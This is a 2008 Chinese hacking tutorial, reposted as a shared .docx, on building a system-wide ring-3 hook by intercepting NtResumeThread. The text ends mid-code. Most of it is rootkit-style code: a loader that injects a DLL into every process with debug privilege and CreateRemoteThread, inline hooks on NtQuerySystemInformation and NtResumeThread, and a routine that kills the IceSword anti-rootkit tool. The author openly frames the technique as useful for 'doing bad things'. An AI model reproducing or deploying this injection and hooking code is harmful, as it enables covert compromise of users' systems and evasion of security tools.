挂钩 NtResumeThread 实现全局Hook.docx
《挂钩 NtResumeThread 实现全局Hook.docx》由会员分享,可在线阅读,更多相关《挂钩 NtResumeThread 实现全局Hook.docx(16页珍藏版)》请在冰豆网上搜索。
挂钩NtResumeThread实现全局Hook
http:
//binyang.org/File/Safe/Programming/2008101720.html
挂钩NtResumeThread实现全局Hook
浏览统计:
14
创建时间:
2008-10-17
文章提交:
Admin
挂钩一直是Hack编程中永恒的主题,基本高级的Rootkit程序多多少少都会使用Hook技术。
似乎Hook都被讲烂了,不论是Ring3的还是Ring0的网上都有例子。
Ring0的毋庸置疑当然是全局的了,这里说说ring3的全局hook。
Ring3有Ring3的优势,稳定是压倒一切的,
因此Mcafee和其他一些商业的安全软件都还是使用了Ring3的Hook技术,无论如何用户是无法接受蓝屏和死机的。
感兴趣的可以装个Rootkitunhooker自己看看。
:
)
1.以往的Ring3全局Hook
纵观网上流行的全局Hook程序都只用了一个WindowsAPI,SetWindowsHookEx,此函数原型:
HHOOKSetWindowsHookEx(
intidHook,
HOOKPROClpfn,
HINSTANCEhMod,
DWORDdwThreadId
);
idhook 安装的钩子类型,如WH_GETMESSAGE,WH_KEYBOARD等
lpfn hookprocedure的指针
hmod 包含hookprocedureDLL的handle
dwThread为0
使用这个这个API时候有问题的,只能挂接系统中的所有GUI线程,换句通俗的话说就是有界面
的程序,Windowsconsole类的程序就无能为力了。
还有一种通过插入注册表来实现
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs
这种方法简单,但是还是只能挂钩GUI程序,并且这个键值已经被广大HIPS所关注,吃力不讨好。
以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩NtCreateProcess
这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。
a.时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,
而当NtCreateProcess返回时,进程又已经开始运行
b.如果是Windowsconsole创建的进程,你如何去监控这个调用呢?
这么说似乎比较抽象,你可
以这么理解,直接在命令行下,cmd,cmd,cmd....你可以监控到最后一个cmd吗,如果只
用SetWindowsHookEx
c.是否正好站在了华容道,是否足够底层。
似乎很费劲
2.分析系统创建进程过程,寻找方法
关于这方面内容,可以参考毛德操老师的两篇文章
《漫谈兼容内核之十七:
再谈Windows的进程创建》
《漫谈兼容内核之二十二:
Windows线程的调度和运行》
下面是他的blog链接:
CreateProcess是Kernel32.dll的导出函数。
操起WinDbg,剁了一下:
Windows2003SP2
lkd>ufCreateProcessW
kernel32!
CreateProcessW:
7c8024748bff mov edi,edi
7c80247655 push ebp
7c8024778bec mov ebp,esp
7c8024796a00 push 0x0
7c80247bff752c push dwordptr[ebp+0x2c]
7c80247eff7528 push dwordptr[ebp+0x28]
7c802481ff7524 push dwordptr[ebp+0x24]
7c802484ff7520 push dwordptr[ebp+0x20]
7c802487ff751c push dwordptr[ebp+0x1c]
7c80248aff7518 push dwordptr[ebp+0x18]
7c80248dff7514 push dwordptr[ebp+0x14]
7c802490ff7510 push dwordptr[ebp+0x10]
7c802493ff750c push dwordptr[ebp+0xc]
7c802496ff7508 push dwordptr[ebp+0x8]
7c8024996a00 push 0x0
7c80249be8a6ac0200 call kernel32!
CreateProcessInternalW(7c82d146)
7c8024a05d pop ebp
7c8024a1c22800 ret 0x28
lkd>ufCreateProcessInternalW
....
7c82cf8fff159814807ccalldwordptr[kernel32!
_imp__NtCreateProcessEx(7c801498)]
....
7c82daa2ff159414807ccalldwordptr[kernel32!
_imp__NtCreateThread(7c801494)]
....
7c82dbdcff158814807ccalldwordptr[kernel32!
_imp__NtResumeThread(7c801488)]
大概流程如下:
Kernel32!
CreateProcessW
Kernel32!
CreateProcessInternalW
ntdll!
NtCreateProcessEx
ntdll!
NtCreateThread
ntdll!
NtResumeThread
因为进程创建后,Windows必须为它创建一个主线程,然后等待操作系统调度它。
所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,
但是进程并没有调度起来,呵呵,方便干坏事啊。
3.具体代码实现
基本思路已经清晰了,这里还几个问题。
a.NtResumeThread函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时
调用的NtResumeThread呢?
其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread都挂钩上。
每次拦截到
NTResumeThread是判断NtResumeThread的头几个字节是否已经被修改,如果没有则是创建新进程的调用。
b.用什么方法Hook,IAT、Inline?
总的架构?
这种代码写起来还是InlineHook来的舒服,修改函数调用头几个字节。
枚举系统所有进程是不可避免的,因此要写个loader将我们编写的DLL插入系统所有进程。
发现有进进程
创建时,将DLL插入新进程。
下面代码演示,HookNtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。
Hook也不是不是我们这次的主要内容,感兴趣的可以参考
c.在多线程的环境下是否可靠?
使用关键代码段,互斥锁,效果还可以。
Loader:
voidinject(HANDLEhProcess){
charCurPath[256]={0};
strcpy(CurPath,"C:
\\WINDOWS\\system32\\Hook.dll");
PWSTRpszLibFileRemote=NULL;
intlen=(lstrlen(CurPath)+1)*2;
WCHARwCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);
pszLibFileRemote=(PWSTR)VirtualAllocEx(hProcess,
NULL,
len,
MEM_COMMIT,
PAGE_READWRITE);
WriteProcessMemory(hProcess,pszLibFileRemote,
(PVOID)wCurPath,len,NULL);
PTHREAD_START_ROUTINEpfnThreadRtn=(PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW");
CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);
}
voidTotalInject()
{
HANDLE hProcessSnap=NULL;
BOOL bRet =FALSE;
PROCESSENTRY32pe32 ={0};
// Takeasnapshotofallprocessesinthesystem.
EnableDebugPrivilege
(1);
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==INVALID_HANDLE_VALUE)
return;
// Fillinthesizeofthestructurebeforeusingit.
pe32.dwSize=sizeof(PROCESSENTRY32);
// Walkthesnapshotoftheprocesses,andforeachprocess,
// displayinformation.
if(Process32First(hProcessSnap,&pe32))
{
do
{
HANDLEhProcess;
//Gettheactualpriorityclass.
hProcess=OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
pe32.th32ProcessID);
inject(hProcess);
CloseHandle(hProcess);
}
while(Process32Next(hProcessSnap,&pe32));
}
//Donotforgettocleanupthesnapshotobject.
EnableDebugPrivilege(0);
CloseHandle(hProcessSnap);
return;
}
Hook.dll:
关键代码
#include"stdafx.h"
#include
BOOLg_bHook=FALSE;
typedefLONGNTSTATUS;
#defineSTATUS_SUCCESS ((NTSTATUS)0x00000000L)
#defineSTATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#defineSTATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedefULONGSYSTEM_INFORMATION_CLASS;
typedefULONGTHREADINFOCLASS;
typedefULONGPROCESSINFOCLASS;
typedefULONGKPRIORITY;
#defineMEMORY_BASIC_INFORMATION_SIZE28
typedefstruct_THREAD_BASIC_INFORMATION{
NTSTATUSExitStatus;
PNT_TIBTebBaseAddress;
CLIENT_IDClientId;
KAFFINITYAffinityMask;
KPRIORITYPriority;
KPRIORITYBasePriority;
}THREAD_BASIC_INFORMATION,*PTHREAD_BASIC_INFORMATION;
typedefstruct_PROCESS_BASIC_INFORMATION{//InformationClass0
NTSTATUSExitStatus;
PVOIDPebBaseAddress;
KAFFINITYAffinityMask;
KPRIORITYBasePriority;
ULONGUniqueProcessId;
ULONGInheritedFromUniqueProcessId;
}PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
typedefNTSTATUS(__stdcall*NTQUERYSYSTEMINFORMATION)(
INSYSTEM_INFORMATION_CLASSSystemInformationClass,
OUTPVOID SystemInformation,
INULONG SystemInformationLength,
OUTPULONG ReturnLengthOPTIONAL);
typedefNTSTATUS(__stdcall*NTRESUMETHREAD)(
INHANDLEThreadHandle,
OUTPULONGPreviousSuspendCountOPTIONAL
);
typedefNTSTATUS(__stdcall*NTQUERYINFORMATIONTHREAD)(
INHANDLEThreadHandle,
INTHREADINFOCLASSThreadInformationClass,
OUTPVOIDThreadInformation,
INULONGThreadInformationLength,
OUTPULONGReturnLengthOPTIONAL);
typedefNTSTATUS(__stdcall*NTQUERYINFORMATIONPROCESS)(
INHANDLEProcessHandle,
INPROCESSINFOCLASSProcessInformationClass,
OUTPVOIDProcessInformation,
INULONGProcessInformationLength,
OUTPULONGReturnLengthOPTIONAL);
NTQUERYSYSTEMINFORMATIONg_pfNtQuerySystemInformation=NULL;
NTRESUMETHREADg_pfNtResumeThread=NULL;
BYTEg_OldNtQuerySystemInformation[5]={0},g_NewNtQuerySystemInformation[5]={0};
BYTEg_OldNtResumeThread[5]={0},g_NewNtResumeThread[5]={0};
DWORDdwIdOld=0;
CRITICAL_SECTIONcs;
NTSTATUS__stdcallNewNtQuerySystemInformation(
INULONGSystemInformationClass,
INPVOIDSystemInformation,
INULONGSystemInformationLength,
OUTPULONGReturnLength);
NTSTATUS__stdcallNewNtResumeThread(INHANDLEThreadHandle,
OUTPULONGPreviousSuspendCountOPTIONAL);
voidWINAPIHookOn();
voidWINAPIHookOff();
BOOLAPIENTRYDllMain(HANDLEhModule,
DWORD ul_reason_for_call,
LPVOIDlpReserved)
{
switch(ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
{
InitializeCriticalSection(&cs);
charName[MAX_PATH]={0};
GetModuleFileName(NULL,Name,MAX_PATH);
//杀杀冰刃玩玩
if(strstr(Name,"IceSword.exe")!
=NULL)
{
HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,
0,
GetCurrentProcessId());
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
if(!
g_bHook)
{
HookOn();
}
#ifdef_DEBUG
MessageBox(NULL,"ProcessAttach","RemoteDll",MB_OK);
#endif
}
break;
caseDLL_THREAD_ATTACH:
break;
caseDLL_THREAD_DETACH:
break;
caseDLL_PROCESS_DETACH:
if(g_bHook)
{
HookOff();
#ifdef_DEBUG
MessageBox(NULL,"Off!
","HookOff",MB_OK);
#endif
DeleteCriticalSection(&cs);
}
break;
}
returnTRUE;
}
BOOLEnableDebugPrivilege(BOOLfEnable){
//Enablingthedebugprivilegeallowstheapplicationtosee
//informationaboutserviceapplications
BOOLfOk=FALSE; //Assumefunctionfails